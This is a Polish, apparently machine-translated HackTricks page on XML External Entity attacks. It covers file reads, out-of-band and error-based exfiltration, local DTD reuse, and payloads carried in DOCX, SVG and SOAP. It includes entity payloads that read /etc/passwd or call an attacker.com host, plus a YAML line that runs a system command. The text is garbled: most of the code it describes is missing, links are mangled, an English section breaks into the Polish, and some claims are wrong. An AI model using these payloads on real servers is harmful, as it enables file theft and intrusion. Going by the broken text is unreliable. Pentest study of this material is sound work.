<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
XML to język znaczników przeznaczony do przechowywania i transportu danych, charakteryzujący się elastyczną strukturą, która umożliwia użycie opisowo nazwanych znaczników. Różni się od HTML, nie będąc ograniczonym do zestawu predefiniowanych znaczników. Znaczenie XML-u zmalało wraz z wzrostem popularności JSON-a, pomimo początkowej roli w technologii AJAX.
- **Reprezentacja danych za pomocą encji**: Encje w XML umożliwiają reprezentację danych, w tym specjalnych znaków takich jak `<` i `>`, które odpowiadają `<` i `>` w celu uniknięcia konfliktu z systemem znaczników XML.
- **Definiowanie elementów XML**: XML umożliwia definiowanie typów elementów, określając, jak powinny być zbudowane i jaką zawartość mogą zawierać, od dowolnego rodzaju zawartości do określonych elementów podrzędnych.
- **Definicja typu dokumentu (DTD)**: DTD jest kluczowy w XML do definiowania struktury dokumentu i typów danych, które może zawierać. Mogą być wewnętrzne, zewnętrzne lub kombinacją obu, określając, jak formatowane i walidowane są dokumenty.
- **Niestandardowe i zewnętrzne encje**: XML obsługuje tworzenie niestandardowych encji w ramach DTD w celu elastycznej reprezentacji danych. Zewnętrzne encje, zdefiniowane za pomocą adresu URL, budzą obawy dotyczące bezpieczeństwa, zwłaszcza w kontekście ataków z wykorzystaniem zewnętrznych encji XML (XXE), które wykorzystują sposób, w jaki parsery XML obsługują zewnętrzne źródła danych: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **Wykrywanie XXE za pomocą encji parametrowych**: W celu wykrywania podatności XXE, zwłaszcza gdy konwencjonalne metody zawodzą ze względu na środki bezpieczeństwa parsera, można wykorzystać encje parametrowe XML. Te encje umożliwiają wykorzystanie technik wykrywania poza pasmem, takich jak wywoływanie odpytywań DNS lub żądań HTTP do kontrolowanej domeny, w celu potwierdzenia podatności.
-`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
-`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
**[Większość tych ataków została przetestowana za pomocą niesamowitych laboratoriów XEE Portswiggers: https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)**
W aplikacjach opartych na **Java** istnieje możliwość **wyświetlenia zawartości katalogu** za pomocą XXE, używając takiego payloadu (prośba o wyświetlenie katalogu zamiast pliku):
Korzystając z **wcześniej omawianej techniki**, możesz sprawić, że serwer uzyska dostęp do serwera, który kontrolujesz, aby pokazać, że jest podatny. Ale jeśli to nie działa, może to być spowodowane tym, że **nie są dozwolone jednostki XML**, w takim przypadku możesz spróbować użyć **jednostek parametru XML**:
**W tym przypadku zamierzamy zmusić serwer do załadowania nowego DTD z złośliwym ładunkiem, który wyśle zawartość pliku za pomocą żądania HTTP (dla plików wielolinijkowych można spróbować wycieku za pomocą** _**ftp://**_**). Wyjaśnienie to oparte jest na** [**laboratorium Portswiggers tutaj**](https://portswigger.net/web-security/xxe/blind)**.**
- Tworzona jest encja parametru XML o nazwie `%file`, która odczytuje zawartość pliku `/etc/hostname`.
- Kolejna encja parametru XML o nazwie `%eval` jest definiowana. Dynamicznie deklaruje nową encję parametru XML o nazwie `%exfiltrate`. Encja `%exfiltrate` jest ustawiona tak, aby wysłać żądanie HTTP do serwera atakującego, przekazując zawartość encji `%file` w ciągu zapytania URL.
Ten payload definiuje parametrową jednostkę XML `%xxe` i włącza ją w DTD. Po przetworzeniu przez parser XML, ten payload pobiera zewnętrzne DTD z serwera atakującego. Następnie parser interpretuje DTD w linii, wykonując kroki opisane w złośliwym DTD i prowadząc do wycieku pliku `/etc/hostname` na serwer atakującego.
**W tym przypadku spowodujemy, że serwer załaduje złośliwe DTD, które pokaże zawartość pliku w komunikacie o błędzie (to jest możliwe tylko wtedy, gdy można zobaczyć komunikaty o błędach).** [**Przykład stąd.**](https://portswigger.net/web-security/xxe/blind)
Komunikat o błędzie parsowania XML, ujawniający zawartość pliku `/etc/passwd`, można wywołać za pomocą złośliwego zewnętrznego Dokumentu Definicji Typu (DTD). Osiąga się to za pomocą następujących kroków:
1. Zdefiniowana jest parametrowa jednostka XML o nazwie `file`, która zawiera zawartość pliku `/etc/passwd`.
2. Zdefiniowana jest parametrowa jednostka XML o nazwie `eval`, która zawiera dynamiczną deklarację dla innej parametrowej jednostki XML o nazwie `error`. Ta jednostka `error`, po ewaluacji, próbuje załadować nieistniejący plik, włączając zawartość jednostki `file` jako jego nazwę.
3. Wywoływana jest jednostka `eval`, co prowadzi do dynamicznej deklaracji jednostki `error`.
4. Wywołanie jednostki `error` skutkuje próbą załadowania nieistniejącego pliku, co powoduje komunikat o błędzie zawierający zawartość pliku `/etc/passwd` jako część nazwy pliku.
_**Należy zauważyć, że zewnętrzne DTD pozwala nam na umieszczenie jednej jednostki w drugiej (****`eval`****), ale jest to zabronione w przypadku wewnętrznego DTD. Dlatego nie można wymusić błędu bez użycia zewnętrznego DTD (zazwyczaj).**_
Luka w specyfikacji języka XML może **odsłonić poufne dane za pomocą komunikatów błędów, gdy w DTD dokumentu mieszają się deklaracje wewnętrzne i zewnętrzne**. Ten problem umożliwia wewnętrzne przedefiniowanie jednostek zadeklarowanych zewnętrznie, ułatwiając wykonanie ataków XXE opartych na błędach. Takie ataki wykorzystują przedefiniowanie parametru jednostki XML, pierwotnie zadeklarowanego w zewnętrznym DTD, z poziomu wewnętrznego DTD. Gdy połączenia poza pasmem są blokowane przez serwer, atakujący muszą polegać na lokalnych plikach DTD, aby przeprowadzić atak, mający na celu wywołanie błędu analizy w celu ujawnienia poufnych informacji.
Rozważmy scenariusz, w którym system plików serwera zawiera plik DTD o ścieżce `/usr/local/app/schema.dtd`, definiujący jednostkę o nazwie `custom_entity`. Atakujący może wywołać błąd analizy XML, ujawniający zawartość pliku `/etc/passwd`, przesyłając hybrydowe DTD w następujący sposób:
- Definicja parametru XML o nazwie `local_dtd` obejmuje zewnętrzny plik DTD znajdujący się na systemie plików serwera.
- Następuje ponowna definicja parametru XML `custom_entity`, pierwotnie zdefiniowanego w zewnętrznym DTD, w celu zawarcia [eksploitacji XXE opartej na błędach](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Ta ponowna definicja ma na celu wywołanie błędu parsowania, ujawniającego zawartość pliku `/etc/passwd`.
- Poprzez użycie parametru `local_dtd`, aktywowany zostaje zewnętrzny DTD, obejmujący nowo zdefiniowany `custom_entity`. Ta sekwencja działań prowadzi do wygenerowania komunikatu o błędzie, który jest celem eksploitacji.
**Przykład z życia wzięty:** Systemy korzystające z środowiska graficznego GNOME często mają DTD w lokalizacji `/usr/share/yelp/dtd/docbookx.dtd`, zawierający jednostkę o nazwie `ISOamso`.
Ponieważ ta technika wykorzystuje **wewnętrzne DTD, musisz najpierw znaleźć ważne**. Możesz to zrobić, **instalując** ten sam **system operacyjny / oprogramowanie**, którego używa serwer, i **szukając domyślnych DTD**, lub **pobierając listę** domyślnych DTD w systemach i **sprawdzając**, czy któryś z nich istnieje:
Ponadto, jeśli masz **obraz Dockera systemu ofiary**, możesz użyć narzędzia z tego samego repozytorium do **skanowania****obrazu** i **znalezienia** ścieżki **DTD**, która jest obecna w systemie. Przeczytaj [Readme na githubie](https://github.com/GoSecure/dtd-finder), aby dowiedzieć się jak to zrobić.
Dla bardziej szczegółowego wyjaśnienia tego ataku, **sprawdź drugą sekcję [tego niesamowitego postu](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) od Detectify**.
Możliwość **przesyłania dokumentów Microsoft Office jest oferowana przez wiele aplikacji internetowych**, które następnie przetwarzają pewne szczegóły tych dokumentów. Na przykład, aplikacja internetowa może umożliwiać użytkownikom importowanie danych poprzez przesłanie arkusza kalkulacyjnego w formacie XLSX. Aby parser mógł wyciągnąć dane z arkusza kalkulacyjnego, konieczne jest przetworzenie co najmniej jednego pliku XML.
Aby przetestować tę podatność, konieczne jest utworzenie **pliku Microsoft Office zawierającego ładunek XXE**. Pierwszym krokiem jest utworzenie pustego katalogu, do którego można rozpakować dokument.
Po rozpakowaniu dokumentu, plik XML znajdujący się w `./unzipped/word/document.xml` powinien zostać otwarty i edytowany w preferowanym edytorze tekstu (np. vim). XML powinien zostać zmodyfikowany w celu dodania żądanego ładunku XXE, często zaczynając od żądania HTTP.
Zmodyfikowane linie XML powinny zostać wstawione między dwa główne obiekty XML. Ważne jest, aby zastąpić adres URL monitorowalnym adresem URL dla żądań.
Na koniec, plik można spakować, aby utworzyć złośliwy plik poc.docx. Z wcześniej utworzonego katalogu "unzipped", należy uruchomić następujące polecenie:
Teraz utworzony plik można przesłać do potencjalnie podatnej aplikacji internetowej i mieć nadzieję, że żądanie pojawi się w dziennikach Burp Collaborator.
Protokół **jar** jest dostępny wyłącznie w **aplikacjach Java**. Jest on zaprojektowany w celu umożliwienia dostępu do plików w archiwum **PKZIP** (np. `.zip`, `.jar`, itp.), obsługując zarówno pliki lokalne, jak i zdalne.
Aby móc uzyskać dostęp do plików wewnątrz plików PKZIP, jest **bardzo przydatne do wykorzystania XXE za pomocą plików DTD systemu**. Sprawdź [tą sekcję, aby dowiedzieć się, jak wykorzystać pliki DTD systemu](xxe-xee-xml-external-entity.md#error-based-system-dtd).
Interesującą techniką, która przerywa ten proces na drugim kroku, jest utrzymanie otwartego połączenia serwera przez czas nieokreślony podczas udostępniania pliku archiwum. Narzędzia dostępne w [tym repozytorium](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) mogą być wykorzystane w tym celu, w tym serwer Pythona (`slow_http_server.py`) i serwer Javy (`slowserver.jar`).
Zapisywanie plików w katalogu tymczasowym może pomóc w **eskalacji innej podatności związanej z przechodzeniem ścieżki** (takiej jak lokalne dołączanie plików, wstrzykiwanie szablonów, XSLT RCE, deserializacja itp.).
Atak Billion Laugh (miliard śmiechów) jest jednym z rodzajów ataków typu Denial of Service (DoS), który wykorzystuje podatność na ataki XML External Entity (XXE). W tym ataku, złośliwie spreparowany plik XML jest wysyłany do serwera, który próbuje go przetworzyć. Plik XML zawiera wiele zagnieżdżonych encji, które odwołują się do siebie nawzajem, tworząc nieskończoną pętlę. To powoduje, że serwer zużywa dużą ilość zasobów, takich jak pamięć i moc obliczeniowa, co prowadzi do niedostępności usługi dla innych użytkowników.
Atak Billion Laugh może być bardzo skuteczny, ponieważ serwer próbuje przetworzyć nieskończoną liczbę encji, co prowadzi do wyczerpania zasobów. Aby zabezpieczyć się przed tym atakiem, serwery powinny być skonfigurowane w taki sposób, aby nie przetwarzały zagnieżdżonych encji lub ograniczały ich liczbę.
Yaml (Yet Another Markup Language) jest popularnym formatem danych, który jest często używany do konfiguracji aplikacji. Atak Yaml polega na wykorzystaniu podatności w parsowaniu danych Yaml w celu wykonania nieautoryzowanych działań.
##### Jak działa atak Yaml?
Atak Yaml wykorzystuje podatność w parserze Yaml, który nieprawidłowo obsługuje niezaufane dane wejściowe. Atakujący może wstrzyknąć złośliwy kod Yaml, który zostanie wykonany przez parser, co może prowadzić do różnych niebezpiecznych działań, takich jak wykonanie dowolnego kodu na serwerze.
##### Przykład ataku Yaml
Poniżej przedstawiono przykład ataku Yaml, w którym atakujący próbuje wywołać komendę systemową na serwerze:
```yaml
!!python/object/apply:os.system ['ls']
```
W powyższym przykładzie, atakujący wykorzystuje złośliwy kod Yaml, aby wywołać komendę systemową "ls" na serwerze. Jeśli parser Yaml nie jest odpowiednio zabezpieczony, to taka manipulacja może zostać wykonana.
- Sprawdzać i filtrować dane wejściowe, aby zapobiec wstrzykiwaniu złośliwego kodu Yaml.
- Aktualizować parser Yaml do najnowszej wersji, która zawiera poprawki bezpieczeństwa.
- Korzystać z narzędzi do analizy statycznej kodu, które mogą wykrywać potencjalne podatności w kodzie Yaml.
##### Podsumowanie
Atak Yaml wykorzystuje podatność w parserze Yaml, aby wykonać nieautoryzowane działania na serwerze. Aby się przed nim chronić, należy unikać parsowania niezaufanych danych Yaml, sprawdzać i filtrować dane wejściowe oraz aktualizować parser Yaml do najnowszej wersji.
Podczas integrowania danych klienta w dokumenty XML po stronie serwera, takie jak te w żądaniach SOAP, bezpośrednia kontrola nad strukturą XML jest często ograniczona, co utrudnia tradycyjne ataki XXE ze względu na ograniczenia dotyczące modyfikacji elementu `DOCTYPE`. Jednak atak `XInclude` zapewnia rozwiązanie, pozwalając na wstawienie zewnętrznych jednostek w dowolnym elemencie danych dokumentu XML. Ta metoda jest skuteczna nawet wtedy, gdy tylko część danych w generowanym przez serwer dokumencie XML może być kontrolowana.
Aby przeprowadzić atak `XInclude`, należy zadeklarować przestrzeń nazw `XInclude` i określić ścieżkę pliku dla zamierzonej zewnętrznej jednostki. Poniżej znajduje się zwięzły przykład, jak taki atak może być sformułowany:
Pliki przesyłane przez użytkowników do określonych aplikacji, które następnie są przetwarzane na serwerze, mogą wykorzystywać podatności w obsłudze plików XML lub plików zawierających XML. Powszechne formaty plików, takie jak dokumenty biurowe (DOCX) i obrazy (SVG), oparte są na XML.
Kiedy użytkownicy **przesyłają obrazy**, te obrazy są przetwarzane lub sprawdzane po stronie serwera. Nawet dla aplikacji oczekujących formatów takich jak PNG lub JPEG, **biblioteka przetwarzania obrazów serwera może również obsługiwać obrazy SVG**. SVG, będąc formatem opartym na XML, może być wykorzystany przez atakujących do przesyłania złośliwych obrazów SVG, narażając w ten sposób serwer na podatności XXE (XML External Entity).
W obu przypadkach format SVG jest wykorzystywany do przeprowadzenia ataków wykorzystujących możliwości przetwarzania XML przez oprogramowanie serwera, co podkreśla konieczność solidnej walidacji danych wejściowych i zabezpieczeń.
**Zauważ, że pierwsza linia odczytanego pliku lub wyniku wykonania pojawi się W ŚRODKU utworzonego obrazu SVG. Musisz mieć dostęp do utworzonego obrazu SVG.**
Aby zmienić żądanie, możesz użyć rozszerzenia Burp o nazwie "**Content Type Converter**". [Tutaj](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) znajdziesz ten przykład:
Możesz użyć \[**"Przepisu na kodowanie**" cyberchef tutaj ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) przekształcić na UTF-7.
Jeśli strona internetowa używa PHP, zamiast używać `file:/`, możesz użyć **obudow PHP**`php://filter/convert.base64-encode/resource=`, aby **uzyskać dostęp do wewnętrznych plików**.
Sztuczka z [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
Możesz utworzyć **encję wewnątrz encji**, kodując ją za pomocą **encji HTML**, a następnie wywołać ją, aby **załadować dtd**.\
Należy zauważyć, że używane **encje HTML** muszą być **numeryczne** (jak w tym przykładzie \[w tym przykładzie]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
An XML External Entity (XXE) attack is a type of vulnerability that allows an attacker to extract data from the server or perform other malicious actions by exploiting the way XML parsers process external entities.
During an XXE attack, the attacker injects a specially crafted XML input that contains a reference to an external entity. This entity can be a local file, a remote file, or even a URL. When the XML parser processes the input, it resolves the external entity reference and retrieves its content.
To extract an external resource using XXE, the attacker needs to identify a vulnerable XML parser and inject the malicious XML input. The attacker can then observe the response from the server to extract the desired information.
There are several techniques that can be used to extract external resources through XXE attacks, including:
- **File Inclusion**: The attacker can reference a local file on the server and retrieve its content.
- **Remote File Inclusion**: The attacker can reference a remote file and retrieve its content.
- **URL Invocation**: The attacker can reference a URL and retrieve its content.
- **Out-of-Band (OOB) Retrieval**: The attacker can use XXE to send data to an external server controlled by them, allowing them to retrieve the data through a different channel.
To prevent XXE attacks, it is important to properly configure XML parsers and disable the processing of external entities. Additionally, input validation and sanitization should be implemented to prevent malicious XML input from being processed.
SOAP (Simple Object Access Protocol) jest protokołem komunikacyjnym wykorzystywanym do wymiany danych między aplikacjami. Jednakże, SOAP może być podatny na ataki XEE (XML External Entity), które pozwalają na odczytanie danych z serwera lub wykonanie zdalnego kodu.
Atak XEE wykorzystuje podatność w przetwarzaniu danych XML przez serwer SOAP. Atakujący może wstrzyknąć złośliwe treści XML, które zawierają zewnętrzne encje XML. Gdy serwer próbuje przetworzyć te encje, może spowodować odczytanie danych z plików systemowych lub wykonanie kodu na serwerze.
Aby przeprowadzić atak XEE na serwer SOAP, atakujący musi znaleźć miejsce, w którym serwer przetwarza dane XML. Następnie, atakujący może wstrzyknąć złośliwe treści XML, które zawierają zewnętrzne encje XML, takie jak `<!DOCTYPE>`, `<!ENTITY>`, `<!ATTLIST>`, itp.
W powyższym przykładzie, atakujący wstrzykuje zewnętrzną encję `xxe`, która odczytuje zawartość pliku `/etc/passwd`. Serwer SOAP, próbując przetworzyć tę encję, odczytuje zawartość pliku i zwraca ją w odpowiedzi.
Ten przykład jest inspirowany [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
XLIFF (XML Localization Interchange File Format) jest wykorzystywany do standaryzacji wymiany danych w procesach lokalizacji. Jest to format oparty na XML, głównie używany do transferu danych lokalizowalnych między narzędziami podczas lokalizacji oraz jako wspólny format wymiany dla narzędzi CAT (Computer-Aided Translation).
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
Ta metoda ujawnia, że User Agent wskazuje na użycie Javy 1.8. Zauważono ograniczenie tej wersji Javy, polegające na niemożności pobrania plików zawierających znak nowej linii, takich jak /etc/passwd, za pomocą techniki Out of Band.
Aby przezwyciężyć to ograniczenie, stosuje się podejście oparte na błędach. Plik DTD jest strukturalnie zbudowany w taki sposób, aby wywołać błąd, który zawiera dane z docelowego pliku:
Ta modyfikacja prowadzi do udanej ekstrakcji zawartości pliku, co jest odzwierciedlone w błędzie wysłanym za pomocą protokołu HTTP. Wskazuje to na udany atak XXE (XML External Entity), wykorzystujący techniki Out of Band i Error-Based do wydobycia poufnych informacji.
W przypadku ataku na XML External Entity (XXE) można wykorzystać funkcję odczytu pliku. Aby to zrobić, należy utworzyć odpowiednio spreparowany plik XML, który zawiera zewnętrzną encję, wskazującą na plik, który chcemy odczytać.
W powyższym przykładzie plik XML zawiera zewnętrzną encję `xxe`, która wskazuje na plik `/etc/passwd`. Po przetworzeniu tego pliku przez parser XML, zawartość pliku `/etc/passwd` zostanie zwrócona jako część odpowiedzi.
XMLDecoder to klasa Javy, która tworzy obiekty na podstawie wiadomości XML. Jeśli złośliwy użytkownik może zmusić aplikację do użycia dowolnych danych w wywołaniu metody **readObject**, natychmiast uzyska wykonanie kodu na serwerze.
ProcessBuilder jest klasą w języku Java, która umożliwia tworzenie i kontrolowanie procesów systemowych. Może być używana do uruchamiania zewnętrznych programów i wykonywania poleceń w systemie operacyjnym.
Aby użyć ProcessBuildera, należy utworzyć nową instancję tej klasy i przekazać jej polecenie, które chcemy wykonać. Możemy również ustawić inne parametry, takie jak zmienne środowiskowe, katalog roboczy i strumienie wejścia/wyjścia.
Po utworzeniu obiektu ProcessBuilder, możemy go uruchomić za pomocą metody `start()`. Spowoduje to uruchomienie procesu systemowego i zwrócenie obiektu klasy `Process`, który reprezentuje ten proces.
Możemy również użyć metody `inheritIO()`, aby przekierować strumienie wejścia/wyjścia procesu na strumienie wejścia/wyjścia bieżącego procesu. Jest to przydatne, gdy chcemy zobaczyć wynik działania uruchomionego programu w naszej konsoli.
Przykład użycia ProcessBuildera:
```java
ProcessBuilder processBuilder = new ProcessBuilder("ls", "-l");
processBuilder.inheritIO();
Process process = processBuilder.start();
process.waitFor();
```
W powyższym przykładzie tworzymy nowy obiekt ProcessBuilder, który uruchamia polecenie `ls -l` w systemie operacyjnym. Następnie przekierowujemy strumienie wejścia/wyjścia procesu na strumienie wejścia/wyjścia bieżącego procesu za pomocą metody `inheritIO()`. Na koniec uruchamiamy proces i czekamy na jego zakończenie za pomocą metody `waitFor()`.
* Wyodrębnianie informacji za pomocą HTTP przy użyciu własnego zewnętrznego DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
